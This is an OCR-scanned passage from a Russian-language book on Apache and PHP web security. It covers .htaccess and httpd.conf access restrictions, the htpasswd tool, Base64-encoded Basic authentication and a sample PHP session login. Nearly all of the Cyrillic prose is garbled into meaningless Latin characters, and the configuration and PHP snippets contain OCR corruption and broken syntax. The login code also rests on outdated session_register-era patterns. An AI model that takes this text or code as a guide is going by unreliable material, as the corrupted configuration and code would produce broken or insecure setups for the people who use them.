M OTKpbiBaeT ero. 9ro Moryr Guirs index.htm, index:html, index.asp wiu
index.php, default.htm u 1. a. Eciu HM omuH U3 Takux ¢ailioB no ykasaH-
HOMY TyTH He HaiiieH, TO NpH BKIIOYeHHOH onuuyu Indexes Gymer Bbi-
BEJIEH CHHMCOK CONEPXHMOrO Karajora, MHaue — CTpaHHUa OwubKY.
Sl pekOMEHYIO OTKITIOYATH 3TY OIIIWIO, MOTOMY YTO 3MOYMBIIUIEHHHK MO-
XeT MOJYYHTH CHAMIIKOM MHOTo MHGpOPMALMH O CTPYKTYPe Karalora u ero
COIEPKHMOM,;

e MultiViews — MpeICTABIIEHME 3aBUCUT OT MpPeMITOYTeHMI KIHeHTa.

[Mpasa nocTyna MOryr OnpeAensarThes He TONBKO Ha KATANOTH, HO M Ha OTHENbHbIE
daiiasl. DTO ONMUCAHHE PACITONATACTCS MEXILY ABYMS CHEAYIOIMMHI CTPOKAMH!
<Files Muadaina>

</Files>

Hanpumep:

<Files " /var/www/html/admin,php">
Deny from all

</Files>

JMupekTBs i daiiia TaKue Xe, Kak u [wis Karatoros. To ecth B faHHOM TpH-
Mepe K monkaranory /var/www/html paspemen MoCTYr BeeM MONB30OBATENIAM,
a K daiiny /var/www/html/admin.php u3 atoro karanora sanpeutes gocryn abco-
JHOTHO BCEM.

MNomumo ailstoB M KarTanoroB, MOXHO oOrpaHnumsate W Meromst HTTP-
MpPOTOKONA, TAKKE KaK GET, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH,



228 Inasa 5

PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK. [ie Tyt cobaxa 3apsi-
ta? [lonycTM, YTO y BAC €CTh CLEHApPHii, KOTOpOMY MOJE30BATENE JOJDKEH repe-
Jarb napaMeTpsl. D10 genaercs OfHUM M3 METOIOB POST WK GET. Ecnit Bul 3ape-
JAOMO 3HAeTe, YTO MPOrpaMMHUCT HCIIOIbL3YeT TOJNBKO METON GET, TO 3alpeTHTe Bee
ocTalbHble, 4TOOLI XAKEp He CMOr BOCHOAL3OBATHCA MOTEHUUAILHON YH3BUMO-
CTBIO B CLIEHAPHM, HIMEHHUB METOIL.

beiBaloT BapHaHThI, KOTNA HE BCEM TOML30BATE/SIM AOJDKHO GBITH MO3BONEHO OT-
NpapisATh AaHHBEe HA cepsBep. Hanmpumep, cueHapuu B ONpeAeTeHHOM Kataiore
MOTyT ObITH MOCTYIMHBI Uil MCTIONHEHHS BCeM, HO 3arpykars WHdopmalmio Ha
cepBep MOTYT TOJIBKO &IIMHHMCTPATOPLL. DT1a npobiema Jerko pemaercs ¢ MoMo-
1LBI0 pPA3TPAaHHYEHUs TPAaB WCIIOABL30BAHKS MeTonoB nmporokona HTTP.

[TpaBa Ha UCTIOIK3OBAHNE METONIOB ONMMCKIBAIOTCS CAeAyIonMM obpasom:
<limit UmsMeropa>

Mpasa
</limit>

Kak Buamte, 3TOT NPOLECC cXOX C oflHcaHueM paspemeHnil Ha daiursr. K npn-
Mepy, TaK MOXHO 3aiperuTs obylo nepegavyy IaHHLIX HA CepBep:
<Limit GET POST> '
Deny from all
</Limit>
B nannom npumepe sanpemanTcs MeTollbl GET U POST.
Bama samavya — yKasarh Takue Mapamerpbl IocTyna K Katajoram u caiinam, npu
KOTOPBLIX OHHM GyIyT MHHMMAIBHO MOCTATOYHBIMH. Y MONMB3IOBATENS HE [NOIDKHO

OBITE BO3MOXKHOCTH CHENATH X0TA Obl oauH mwmHuit mar. s peanusanuu 3toro
BBl AOJDKHBI ieficTBOBaTh 1o npaswty "Yro He paspemeHo, To 3anpeineHo”.
S Bcerna cHavana 3aKphiBaK BCe, YTO TONBKO MOXHO, M TOJNBKO MOTOM MOCTE-
MeHHO CMATYAI0 npasa, uyrobbl Bee cleHapuu Havamu. paborars BepHo. Jlyume
JMITHWHA pas mponucarh SBHLIH 3allpeT, YeM IMOTOM YNYCTHTh paspellieHHe, KoTo-
poe ITO3BOJIMT XaKepy YHHYTOXMUTH MOH cepsep. v

Ecnu HyXHO paspeiinTb JOCTYN TOJBKO ¢ onmpeneneHHoro IP-anpeca, To B daline
MOXET COIEPXKATHCH CHSAYIONIAS CTPOKA:

allow from 101.12.41.148

Ecnu aamury gupekTHBOH allow from o6beIMHUTH ¢ TpeOoBaHMEM BBECTH Ma-
pollk, TO 3ajaya XaKepa MO B3NOMY CepBepa CHIBHO YCIOXHWTCH. 30ech yXe
HEIOoCTATOMHO 3HAHWS Mapojis, HeobXomuMmo WMeTh KOHKpeTHul IP-ampec s
obpaleHus K coIepXXUMOMY KATANO0ra, a 310 TpebyeT aHAYMTENLHBIX YCHITWIA.
DTH Xe mapamMeTphl MOXHO YKasbiBaTh ¥ B daiine httpd.conf, Hanpumep:
<directory /moyTe>

AuthType Basic

AuthName "By Invitation Only"
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AuthUserFile /pub/home/E£lenov/passwd
Require valid-user
</directoxy>

Yem Oyzere MOALIOBATHCS BHI, 3ABUCUT OT JMMYHBIX TIPEATONTEHMH ¥ AOCTYMHBLIX
Boamoxroctel. Ecimi y Bac HessuteneHHbii cepep B UnTeprere, T0 KoH(Urypa-
umoHHET daitn Web-cepsepa httpd.conf, ckopee Beero, He OyneT AoCTYNEH.

B moboMm ciyuae, MHe Donbiile Hpasutcst paborate ¢ daitioM .htaceess, moTomy
4To HacTpolKn BezornacHocTH BYIYT XpaHHTLCS B TOM Ke KaTajiore, Ha KOTOpPhIi
ycraHaBauBaoTes npasa. Ho pabora ¢ Hum HebesonacHa, MOTOMY 4TO Xakep Mo-
XeT TIpOYMTaTh ITOT Gaiin, yero Bhl, KOHEUHO, He Xorute, VicnonssoBaHue LeH-
Tpam3opaHHoro aitna hitpd.conf gaer npeumymectsa, T. K. OH HaxomurTcs
B KaTarore /etc, KOTOpHiit He BXOAMT B Kopern Web-cepsepa u nomxeH GuiTh 3a-
Npeules Wist MPOCMOTPa MONB30BATENSM.

Teneps HaM TPEACTOMT Y3HATH, KAK colmaiorcs aitnsl maponeil W Kak uMmu
ynpapisits, JMpexTHBa AuthUserFile yKassibaer Ha daiin, xpaHsiunit uHpopma-
LMIO O MONB3OBATE/SIX B MPOCTOM TekcrosoM dopmare. Tam coaepxarest CTPOKH
CHeyIOUIero BUaa:

flenov: (SHA) 1ZZEBEPy4 /gdHsyzt JUEWROd90E=

B 3710t 3anmucy gBa napaMerpa, pasgesieHHbIX qpoerouueM. CHavana yKasaHo uMs
MOMB30BATENA, a MOC/Ie PasneIuTeNs CTOUT samugposanHbil no amroputmy MDS
Naposib. %pmupom Takoi dain BpyuHy0 ciaoxHO (ocobeHHo cinoxHo Oyner
HAIMcaTs 3alH(pPOBAHHBIl TAPONL BPYYHYIO) M GECCMBICICHHO, MOSTOMY s
obnerdeHus Ku3HH AIMUHICTPATOPOB CymiecTByeT yrwinTa htpasswd us nakera
Web-cepsepa Apache. C noMoLbi0 3T0il MporpaMMet CO3RAI0TCH W OOHOBISIOTCA
uMeHa M maponau s Gasosoit ayrentudmkaumu  Web-cepsepom HTTP-
[1OJIb30BATEIEH.

Yn06eTBO MPOrpaMMBl COCTONT B TOM, YTO OHa MOXET mudpoBarh Mapoirn M To
anmroputmy MDS, 1 ¢ nmoMols0 cHeTeMHOI QYHKIMH cerypt (). B ogHOM daaﬁne
MOIYT HAXOAMTHES 3anucH ¢ o6oMMI THITAMM TTaposeif.

Ecnu BBl XpaHuTe MMeHa 1 naponu B dopmare 6asst manuasix DBM (wis ee yka-
3anuA B Gaitne htaccess MCMONb3yeTCs AMPEKTHUBA AuthDBMUserFile), TO Wis
yIpaBieHusl €10 HYXKHO NPUMEHSTh KOMAHY dbmmanage.,

[asaitte obcyanm, Kak rnonb3opartses nporpammoii hipasswd. O6umit BUA BEISOBA
KOMaHbl BEIISIANT CIenylonm obpasom:

htpasswd fapaverps Gatf MR napoms

[Mapons 1 umst daiina ABIKIOTCA HeOOA3ATENBHBIMK, W MX HAIWYME 3aBUCHT OT

YKasaHHbIX OMLit, PACCMOTPHM OCHOBHBIE KIIOUH, KOTOPBIE HaM JOCTYIHBI:

() -c — coamars HoBbil daitn. Ecnu ykasasusil daiin yxe CYLISCTBYET, TO OH
TIepe3anuckIBATCS, @ CTAPOE ComepxRMMoe Tepsiercst. TIpuMep HCronb3oBaHusa
KOMaHIIBL:

‘htpasswd -c .htaccess robert
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Tocne BEMONHEHWS 3TOH AWPEKTHBE Mepejl BaMM TMOSBHTCH MpUINAlleHWe
BBECTH I1apo/ib VI HOBOTO MoJib3oBaTtens robert ¥ moarsepauTs ero. B pe-
synerate Gymer cosgaH dain .htaccess, B Kotopom OyIeT OgHA 3amMch jis
noib3oBaTess robert ¢ yKasaHHBIM BaMU [TAposeM;

0 -m — ucnons3oBars MomuduuMpoBaHHeil Apache anroputv MDS5 mis napo-
nefl. BTo MO3BOJMUT MEpPEeHOCHTH cospaHHbi daiin Ha mobyio Apyryio riar-
dopmy (Windows, Unix, BeOS u 1. 1), rae paboraer Web-cepsep Apache.
Taxo#l ko4 yunobeH, ecid y Bac pasHOpoAHas ceTh, M onuH daiin ¢ napoaus-
MU HCITONB3YETCS HA PasHBIX cepBepax;

0O -a — wist mndpoBaHus MPUMEHUTH CHCTEMHYIO PYHKIMIO crypt ()}
0 -s — npumenuts SHA-umdposanue (Ha Gase anropuT™Ma K3LUHPOBaHMS),
KoTopoe uenonbsyercs Ha rargopme Netscape;

0 -p — ue wudposars napoiy. Sl He peKoMeHIyI ycmumnmrb ator duar,
NOTOMY 4TO OH HebesomnaceH;

O -n — He BHOCHTH HUKAKHMX HIMEHEHMUH, @ TONLKO BHIBECTH PEe3yJILTAT HA SKPaH.

HAnsi noGasieHust HOBONO IMOML30BATENS MOXHO BBINOAHWMTL KOMaHLy 6e3 ykasa-
HUS KIOYell, a mepefaTh B KAYECTBE NAPAMETPOB TOABKO MMeHa daiina W nors-
30BaTeNs!

htpasswd .htaccess Flenov

Y komaHibl htpasswd €cTh ABA OTpaHWYeHHS: B UMEHH MOIL30OBATE/IS HE AO/KHO
OBITH CHMBOJIA JIBOETOMMS, M TIAPONb HE MOXET MpeBbuuars 255 cumsonos., O6a
YCOBUSI [IOCTATOYHO NEMOKPATHYHBI, W ¢ HAMM MOXHO cMuputbcs. Hukro ua
MOMX 3HAKOMBIX TIOKA elle He 3aXOTe/l YCTAHARIWBATH TAKOU UIMHHBINA Naposib,
a 3aneicTBOBATH IBOETOUME B MMEHW IMONB30BATE/Isl PEAKO KOMY MPUXOAUT HA M.

Ayrentugpukanua Web-cepsepa — cammikom npocroii cnocob obecneverus
GesonacHocry. Tlpu nepexade napoid wHpyOTes MPOCTHIM KOAMPOBAHUEM
Base64. Ecnu xakep cMOXeT nepexBaTTh MAKeT, CofepXKalliii uMa mob3oBarens
U Mapojib, TO OH MPOUMTACT 2Ty HHpOPMALMIO 32 NATh cekyHn. [ paciudpos-
kn Base64 He HyxHO moabuparth MApONb, AOCTATOYHO NMPUMEHWUTH OMHY (yHK-
LMI0, KOTOpasl BBITIOJIHSIET eKOAMPOBAHUE NPaKTHYECKH MOMEHTAIBHO. _
[ns cosnaHua peanpHo GesonacHoro coeiuHeHns HeoOXONMMO cHavaNa 3aimd-
poBath Bech Tpaduk. [l 3TOro MOXeT NPHMEHATHCS TYHHeJIpoBaHHe Tpadmka
(tpaduk mepegaercs yepes KaHan, WHOPYOLUMH JAHHBIE) WIM YXe IOTOBBIH
nporokon HTTPS, koropsiit ucrionsyer nporokon SSL.

5.3.2. 3auura cueHapues npasaMmu floctyna
cepsepa Apache

[Tpasa Web-cepBepa HyXHbl He TOJILKO JUIsi POBEPKH BOSMOXHOCTH HOCTYNa, HO
¥ s 3aIIMTHL ClIeHapWeB W Kakux-imbo cdaitnos. Ecnn y Bac ecTh katanor, rae
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HaxomsiTest WAabMoHsl MaK GaiiNbl CUSHAPHEB, KOTOPbIE TOMNBKO MOAKTIONAIOTCS,
HO H€ HOJDKHBI BEI3BIBATHCSA MONB3IOBATENIEM HAMPAMYIO, TO JIOCTYN K TAKHM Kara-
noram cremyer sanperuts. [Uis storo coasaem (aiin htaccess co caeayommm
CONEPXKMUMBIM:

Order Deny,Allow

Deny from all

Allow from 127.0.0.1

Bmmnpnuepcmmpemaeunmﬁoﬂnomynmpaﬂnyqepesﬁpayup Kpome
NIOKAILHOTO KOoMIbioTepa. Takum obpasoM, Xakep He CMOXET oﬁpa'nm Hanpsi-
Myl0 K (aifiaM Kartajiora, JOCTYI OTKPBIT TOJBKO CHEHApHAM Web-cepsepa, Ko~
TOpHIE HAXOMSITCH HA CAMOM CEpBepe.
YroGur ynmpocTHTh yHpaBieHue CepBepoM, CO3MAlTe TAKYIO CTPYKTYpY cepsepa,
rae B OCHOBHOM Karanore Oyayr Tonbko Te Gailibi H CUEHAPHU, KOTOPHIE HOMK-
Hbl ObiTh moctymHBl mons3opatenmo 4vepes URL, OcransHule daiibl HYyXHO
CTPYIIIUPOBATH MO THNAM (16a0NOHB! B OIMH KATAIOT, HACTPOIKK B Apyro#, non-
KIoYyaeMble CUECHAPHH B TpeTu#l W T. A.) M yOparh B OTAENbHLIC KATAIOrH, rae
YAAIeHHBIH OCTYN 3anpeuieH ¢ nomouisio daitna .htaccess. .
OueHb yacTo Ha caifrax ecTh JIEHTa HOBOCTel, CUSHAPHIL ISl OTNIPABKY coobiue-
HUIl QIMHHHCTPATOPY W OPYTHE MPOTPAMMBI, KOTOPSHIE TOMBKO MOAKIIOYAIOTCS
B Opyrue crpaHuiel. CoeHapmif JeHTE HoBocTell 4acTo BKIIOYEH B IJABHYIO
CTPaHMILy, HANPUMEP, C MOMOWBI0 include. BrionHe norwuno ybpars Bee daii-
JIBI, OTHOCSIIUMECH K JIeHTe, B OTAENBHLIN 3auwniuenHsmi karanor. Tak pam Gyner
yrnoGHO ¥ Gojiee CNOKOHHO yNpamisaTh caiToM, MOTOMY HTO BEPOATHOCTE BIJloMa
Yepes 3alliUIIeHHbIe CIEHAPHHE PE3KO YMEHBIIHTCH.
AyreHtuduxaums ¢ momoisio Web-cepsepa HassisaeTcs 6asopoil. B arom merto-
[e TpM Tiepefiade WMeHH M ITapoJis WCroib3yercs Kogupopanue Base64. O6parure
BHUMaHHE HA CJIOBO "KomupoBaHue". DTo He WH(POBAHKE, U XOTS TEKCT CTaHO-
BHTCA HEYUTAEMBIM, ero jerko pacumbposars. Chenyiommit npumep PHP-
ClIeHAapHUs KOMUPYET M JeKOJAUPYET TeKCT:
<?php

$str="This is test";

print ("<P>Komupyeman cTpoka: $str");

Sencoded=base6d_encode(Sstr) ;

print ("<P>BaxompoBaHHsii Texcr: $encoded");

$decoded=base64_decode ($encoded) ;

print{"<P>llexoouMpoBanuuis rexcr: $decoded");

7>

Ecau BBl BHITIOAHHUTE 3TOT CUEHAPHii, To B pesyabrare Ha Web-cTpannue 8wl yBu-
IUTE OpUMEPHO cleayiollee:

Kommpyemasn crpoxa: This is a test
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Saxomsposatsuli Texcr: VGhpcoyBpCyf0ZXm0
Hexomipopannsit rexcr: This is a test

Sr0T npUMep HANBIIHO IEMOHCTPHPYET, YTO AeKONHPOBATL TEKCT CHHIIKOM TpPo-
CTO, W HA 3TO He HYXKHO CIIMLIKOM MHOTO BpeMeHM W yeunuit. Hepocrarok Kolm-
POBaHMS COCTOMT B TOM, YTO @INOPHTM CIAHIIKOM NpocT U oOxomuTes 0e3 Kimoua,

KOTOpBIH MOXET MOBMUATE HA Pe3ynbTaT W H0GABUTL HOMOTHUTENLHYIO Bejomac-
HOCTB.

5.3.3. CamocTosTenbHas cncrema ayreHTudpukauymm

Mpy XenaHuH MOKHO CO3NATH CAMOCTOATENLHYIO CHCTEMY AyTeHTH(UKALKM, JTO0
HE TaK YK H CIIOKHO. JI0CTaToOYHO COXPAHMTH B Kakoi-HuOYIL 6a3e uMeHa u na-
pon# TMONb30BaTeNeil M PON3IBOAUTE IPOBEPKY camocToaTenbHo. CueHapuii Mo-
KeT BLITIAAETh chaeayiouum obpasom:
if (!ceancosas nepemenHas $logged)

{

echo ("<form action="admin.php" method="get">");

echo ("MMa: <input name="UserName">");

echo [ "Mapone: <input name="Password">");

</ form>

)

if (Mpopepkra MMEHW M NapONHA)
{
// Ecim nposepka Opomlna YCNemHo,
// mo ycraosuTs ceancosyn nepemenHyn $logged B uwmcio 1
y .
else
{
// wmaue nepemexnoii $logged npuceomT: suauenue 0
}

if (5logged=l)
{ .
// BuBecTH Ha SKDaH SAKPHTVE MHOODMALUN0 WM S/IEMEHTE
// yhnpasieHms aIMMHUCTPUPOBAHVA CalToM
}
O6parure BHUMAHNKE, KAK 0OBABIEHO NOJIE BBONA NAPOIs:
<BR>Password: <input type="password" name="pass">
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Tun nmosist paBeH password. TIpu 3TOM Bce CHMBONBI, BBOAMMbIE B JAHHOE MMoOfe,
ByayT orobpaxarscst B OkKHe Bpay3epa B BUIE 3BEIAOMEK WU XUPHBLIX TOUEK. DTo
Heobxonumo, 4Tobbl HUKTO HE CMOT MPOMMTATH Mapoiib € SKpaHa MOHUTOPA.
H30n1poBaHHBIX KOMIILIOTEPOB B OTAEAbHLIX KOMHATAX, KOTAd MUMO Bac HUKTO
HE XOAWT, B PEANbHON XM3IHM HNpakTHYecKH He ObIBaeT, NMoSTOMY HE CTOWT OTO-
Opaxarh Ha 9KpaHe HUKAKHe naposiu.

Jinsi xpaneHusi HHOOPMALINH O NO/IB30BATEE B AAHHOM MPUMEPE CIYKHT CeaH-
coBasi NepeMeHHas, Koropas YHHYTOXAETCs [P 3aKPLITUM okHa Gpaysepa, HTO
OyIeT COOTBETCTBOBATE BHIXONY W3 CHCTEMBI aMUHWCTPUPOBaHUS, DTo jenaercs
HUCKIIOYMTENBHO WIS HAMANHOCTH, W B PEeIbHOM XHM3HM TaK MOCTYNaTh HEJIb3sl.
HyTb noaxe Mbl yBHANM TOYEMY.

OyeHb BaXHO, YTO WISt NPOBEPKM MMEHHM M [ApPOJIA WCIOMb3YeTCH JIOrHKA THUIIA!
if...else. Eciu nposepka ymayHas, To nepemeHHag Gyner pasua 1, a eciin Her,
to Gymer pasua 0. Yro Tyr Baxuoro? [leno B TOM, 4TO 3Ta mepemeHHas Gymer
raoGanbHoi, U, YTODBI XaKep He CMOr H3MEHHTH €e 3HayeHMue C IOMOLILIO nepe-
Aauu napamerpa yeped URL, MBI ZOJKHBI TPOMHHUAATU3HPOBATE MEPEMEHHYIO
B Havane cueHapus. Mbl ke 3TOro HE aejlaeM, HO 3a CYeT JIOTHKH if...else
3HaYeHHe nepeMeHHoi Oyner Bcerga yCTaHaBIHBATHCS CHEHApUEM, a HH(popma-
uus, nepeaantHas sanomumkom yepes URL, sarpercs.

IMocnenyomas sakpbiras 4acTh caifta Gyner oroGpaxarsesi, TOJIBKO €CIH CEAHCO-
Basi nepeMeHHas ycraHomfeHa. f npeanoywTalo B CEAHCOBLIX NMEPEMEHHBIX Xpa-
HUTH UMEHA M0Nb30BaTeNeit U MPH KaxaoMm obpallieHHy K CLEeHAPHIO MPOBepsaTsh
9TH 3HadeHma B Gase janubiX. IMouemy? BemomHuM, rae XpaHsTesi CeaHCOBLIC
nepeMeHHsle, — 310 Qaiinel cookie, sHaYEHHs KOTOPLIX JErko Nomlenarh.

XpaHeHue UMEHH ¥ NApoJisi Takke HebGe30rmacHo, NOTOMY YTO ec/lM XaKep CMOXeT
MOXMTHTH Takoi haiin, To MOXHO CYMTaTh, YTO Xakep Aobuiics ceoeil uean. Yro-
Ot pelunTs 3Ty npobieMy, MOXHO co3fars Ha cepsepe Tabnuily, B Kotopoit GyayT
XPaHHTHCS MACHTH(UKATOPHl CEAHCOB ABTOPH3OBAHHBIX nonb3osareneit. Tenepnb
aBTopu3almsl OyleT BuIrIsSiAeTh TaK:

1. Mocne ynayHo# mNpoOBepKH HUMEHHW MoJb3oBaTeNs uaeHTHHUKATOP ceaHca
nonb3oBateNs coxpassercs B tabnue. ITomumo uaeHTHdukaropa, B rabuuue
COXpaHsIeTCs BPeMs Moc/IeHero obpailieHus .

2. Tlpu kaxnom obpamednn K Tabnuile NPOMCXOANT MpoBepKa HA HAIUYHE
nnenTuduxkaropa 8 Tabnuiie. NToMUMO 3TOTO, MPOBEPSIETCS BPEMS NOCHSAHErO
obpaleHusi, ¥ €ClU OHO MPEBBICHIO YCTAHOBAEHHOE 3HaueHue (Hanpumep,
npouuto Gonee 10 MunyT), TO AOCTYN 3anpeileH.

[Mpu Takoii cucreme, Aaxe eciu Xakep CMoXeT yKpacTh dain cookie ¢ uaeHTH-
(puKaTOPOM, TO BEPOSITHOCTH TOFO, YTO COlePXKAlMiics B HEM MAEHTH(UKATOP He
ycrapeer, crpeMuTes K Hymio. Yrobsl sra noruka paborana, Heobxoaumo, 4Tobsl
nacHTHOHUKATOP reliepHpobalics ciay4yaiiHo U ero paaMep 6si1 pocrarouno Gonk-
muM, 9Tobsl ero noabop OB MakcumanbHO sarpyaHeH. Ecnw pasmep uaeHTH-

9 3am. 1315
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¢ukaropa OrpaHUYEH TONBKO 5 CUMBOJAMM, TO XAKEP MOXET 3amyCTUTh LIMKAN-
yecknit nonbop, B OXKMIAHWM, YTO XOTh KaKoii-T0 mm‘mbnxm nomoiiner,
¥ JIOCTYII K 3aMpeTHoll 3oHe Byaer nmoxyyeH, 5

B nueruure 5.2 Muﬁe YBHIETH TIPUMEPHBIH Bapumoucﬂapuﬁ

<?php

@session_start();
session_register("username”};
session_register("password") ;
> :
<form action="authorize.php® method="post">

<B>Bxon B sanpem BoHy</B>

<BR>Mma: <1nput name="user"> : 11}
<BR>Mapons: <input type="password' name="pass">
<P><input type="submit" value="Boju">
</ form>

<?php

if (isset($user))

{ :
Susername=Suser;
$password=5pass;

} .

if ((Susername=="admin") and IWM'MfH
¢ ;
print ("<HR>Tlpueer Sname<HR>") ; '

print ("<P><A HREF=\'"authorize.php?id=1\">Cosnams obLexr</A>");
print ("<P><A HREF=\"authorize.php?id=2\">Ypamime ofbexr</A>");

if ($id==1)

{

// Kon cospmanua ofrsexra

prink ("<P><I>06eexT cospan</I>");
}

if (5id==2)



IMpumepst paborsl ¢ PHP 235

{

}
}

>

// Kon ynmaneuus ofveekTa
print ("<P><I>06rerT ynanen</I>");

Kak BuauTe, JIOrMKa CUSHAPHS JOCTATOYHO MPOCTa, M pealu3oBaTh €€ B BUIE KO-
J1a TOXKEe He TaK YK W cioxHo. Eciii Bbl XpaHuTe UMEHa M Mapoiu nojib3oBaresnei
B Gase JAHHBIX, TO YYWTHIBAfTe, YTO HE MCKIIOYEHA BO3MOXHOCTH artaku SQL
Injection. TlpoBepsiiTe uMsi Mo/b30BATENS W MAPOAb HA NMPUCYTCTBHE 3alipelieH-
HBIX [uiA ©asbl HaHHBIX CUMBOJOB, @ 3aNpeTHTh HANO, KAK MHHHMYM, CHMBOI
ONMHAPHOI KaBbIMKH, aeduc, npoben, ckobKM 1 3HAK MPOLEHTA.

Ipy caMOCTOATENBHOM paspaboTKe CHCTeMBI 3aLMTBl YUTHTE creayiolee:

L.

Huxorga se. nepejasaire MEXAYy CTPaHHLEAMH WMS TOJBL30BATeNd W Napoib
gepes ctpoky URL, Tyr HykeH Toisko 3anpoc post. JlioGo# anoyMmbuirie-
HHK, KOTOPhIN YBHIEN COAepXHMOe MOHHMTOpa, 3amoMHMT ctpoky URL u
CMOXET BOCTIONIB30BATECS BALIMMM NapamMeTpaMy J10CTyna.

Eciu y Bac ects Heckosnbko Web-crpaHun agMUHHCTPUPOBAHUA, U Heobxo-
IMMO COXPAHATh MMS TOJLIOBATENS TIPU MEPEXOiE OT CTPAHWIE K CTPAHMIE,
TO TAKXKE MPUMEHSIHTE JUISi XpaHEHMs TONbKO CEaHCOBbie NepeMeHHbIE WK
BpemeHHbie dailnsl cookie, KOTOPLIE YHUYTOXAKIOTCS TIPU 3aKphiTHK Opaysepa.

B Hekoroppix ciyyasx odyeHb ynoGHO peanu3oBaTh BO3MOXHOCTb aBTOMATHYe-
ckoro Bxoaa. Harpumep, yroBsl Mosib3oBaTe/lb He BBOAMI KaXIBl pas CBOM
napoib ApPH 3axoie Ha Baul (opyM, MOXHO COXPAHHTh TOT Tapoib B (haiiie
cookie ¥ MpoBepATh Kax/blit pas npu Bxoxe. Ecau ans ¢opyma sto yaobHo,
TO AN CHCTEM ANMWHUCTPUPOBAHMSI HHKOIZA HE CTOUT MCIIONbL30BATH TAKOM
meron. @aiier cookie oueHb nerko Bopyiorcst ¢ nomoutsio araku Cross-Site
Scripting, ¥ ecan Baur cueHapuil oxkaxercs MOABEPXKEHHBIM 3TOH arake, To
Maposib CTAHET JErKoi HaXMUBOI 1ist Xakepa. MTaK, COXpaHsATL NAPOIN MOXHO
TONBKO IUISl HENPHBU/IETMPOBAHHBIX MMOJIB30BaTe/ e, HAMPpUMeEp, NOCceTHTENei
dopyma. [Maponu cueHapueB aAMUHHUCTPHPOBAHMS BCErAa JOMKHBI BBOAUTHCS
BPYYHYIO TIPH KaXIIOM 3aXOJie Ha CaMT.

Ecnu BBl coxpaHsieTe napojib B ﬁaﬁne cookie, To obszarensHo wudpyiite ma-
PO/ib Mepes CoXpaHeHueM, Belb 5TO HE TaK yXKe ¥ CIOXKHO cIelaTh ¢ MoMo-
ueo GyHKuEA mds (). Paitnam cookie HyXKHO yASNATH camoe MPHCTANIBHOE
pHUManue, Ecau Xakep cMOXET yKpacTb ITOT (haiis ¥ NOMECTUT B CBOIO NMankKy
Cookies, To Balu cueHapuit NponycTuT Xakepa 6e3 mpopepkyu napossi. MoxHo
Boo0le He XpaHWTH Nnaponu B cookie, Ho GONBLUIMHCTBO TONL3OBATEEH He
MOGHT 3aNOMHHATE CAOXKHBIE NMAPONH M MOXET NMPOCTO HE BEPHYTHCA K BaM.
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Yrobe! xakep He cmor nojsenars ¢aiii cookie, MOXHO AeicTBOBATL CHEAYIO-
wuM obpasom:

* TIOMHMO MMEHW W maponsi coxpaHsrh B daitne cookie cayyaitHoe umcno,
KOTOpOe HasoBeM uymucioM GesomacHocTy. Ytobel oHo Bhirsigeno B daiine
YCTPAAIOILE, Ero MOXHO 3amingpoBars;

® 3TO X€ YHCNO HeoOXOAMMO COXPAHMTH B 3aIIMCH MOJL30OBATENS Gasel paH-
HLIX B ClMEUHAILHO OTBEACHHOM TOJE,

* [pM MOCHGAYIOWMNX BXOAAX NoJb3oBarTedsi HEOGXOAUMO MPOBEPATH, COOT-
BETCTBYET Ji uMcio u3 daitna cookie uncny u3 6assl naHHbix. Eciu Her, To
3TO MOMNBITKA B3NOMa;

e OYeHb BAXHO, 4TOOBI YHC/IO FEHEPHPOBANIOCH 3AHOBO TPH KAXIOM BXOje
nons3osaresisi B cucremy. Ecnm xakep ykpan ¢aiin cookie ¢ sammudpposan-
HBIM TIAPOJIEM, TO OH HE CMOXET BOCIMOJb3OBATHCS ABTOMATHYECKMM BXO-
JIOM B TOM Cllydae, KOIJla JIETANbHBIA MMONb30BaTENb YXKEe ycnen BOWTH, U
yneno GesonacHocTH B 6ase NAHHBIX M3MEHMIOCH. Y Xakepa ocranHercs
TONIBKO OJIMH BapHaHT — pacuuudposats napoinb u3 daina, Ho ecnu na-
POk CHOXKHBIH W JUIMHHBLH, TO NMoibop ero MoXeT OTHATE CIHLIKOM MHOTO
BPEMEHH AaXe Ha CAMOM MOUIHOM KOMITBIOTEpE.

5. Byasre oveHb BHUMATENBHBI K KaXKIOMY MapaMmeTpy, KOTOPBIi mepenaercs
NoNL30BATENEM, W ITOMHMTE BCE, YTO Mbl OOCYXXIAIM B NAHHOW KHUIe panee.
Yaute pcero, cueHapuu AAMMHHUCTPUPOBAHUSI caiiTa NMO3BONSIOT BHOCHTE W3-
MEHEHHsI B COIEPXKHMOE CTPaHWLL WM Jaxe 3akauusarh daiinbl Ha cepsep.
Ecnu Tak, To He TONBKO Bawl caiiT oKaxercs YAIBHMBIM, HO W Bech cepsep.
Ecnu xakep cMOXET YTO-TO 3aKa4yaTh, TO AANbHEHILEE TIPOHUKHOBEHUE Ha
cepsep (nosydeHue nMpas AIMUHMCTPATOPA HA CAMOM CEpBepe) YMpoLIaeTCH.

6. Eciu HeoBXomnMMo ¥ ecTh BOIMOXHOCTb, 0Bs3aTENbHO BoOCMONb3yiiTech (hait-
Jamu .htaccess it orpaHMYeHUs AOCTYNA K onpeieneHHbIM pecypeam. [lo ce-
TH JOJDKHBI OBITH AOCTYITHBI TONBKO TE€ CLIEHAPHH, K KOTOPLIM AeHCTBUTENLHO
HYXEH HerocpeicTBeHHbIi goctym. Bee, K yeMy nojib3oBarelb He HMEET fpa-
a obpautarsest yepes ctpoky URL, A0mkHO GBITH LOCTYIHO TONBLKO cepsepy,
TO €CTh [Uist TakuxX ailioB HYXKHO Halnucars:
<Files "/var/www/html/admin.php">

Deny from all
Allow from 127.0.0.1
</Files>

Cnenys BceM 3THM PEKOMEHOAUMSM, BIIOJMHE PealbHO CO3AATh COBCTBEHHYIO
GesonacHylo cHCTEMY [pOBEPKM TIpaB IOCTYNa Mo/ib3oBarTeseid Bailuero caifira.
Yrobel Haw pasrosop Gbut Gofiee 3aKOHYEHHBIM, AaBaiTe BEPHEMCs K MYHKTY 4 1
PACCMOTPHUM TIPUMEP UCIONb30Bannst ot 6ezonacHocTd (TUCTHHT 5.3).
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<7?
@session_start();
session_register ("username") ;
session_register("password”);
session register("secure");

if (isset($susername) and {liasettSclegrsamxréjr}-‘
; ..

Suaemnsmm;

; :
else

( I
$secure="";
$password = mdS ($password) ; |
1

if (1isset($username))

die ("Heobxommuo BolTH B cucremy");
$username = check_param(Susername) ; % G 7 )
$secure = check_param{$secure) ; 1 T

